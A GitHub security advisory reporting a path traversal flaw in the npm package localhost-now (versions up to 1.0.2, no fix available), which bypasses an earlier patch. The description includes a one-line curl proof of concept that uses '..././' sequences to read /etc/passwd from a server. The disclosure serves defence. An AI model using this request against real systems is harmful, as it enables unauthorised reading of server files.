GitHub Advisoryadvisory · npm

GHSA-73cw-jxmm-qpgh Path Traversal in localhost-now

HIGH Published 2019-06-11 Modified 2020-08-31 Official page ↗
Ecosystem
npm
Packages
localhost-now
Severity
High
Weaknesses
CWE-22
Reviewed
2019-06-11

Affected packages

• npm localhost-now: <= 1.0.2 (no fix yet)

Description

All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2 Proof of concept: ``` $ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd" ``` Recommendation No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

Related

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References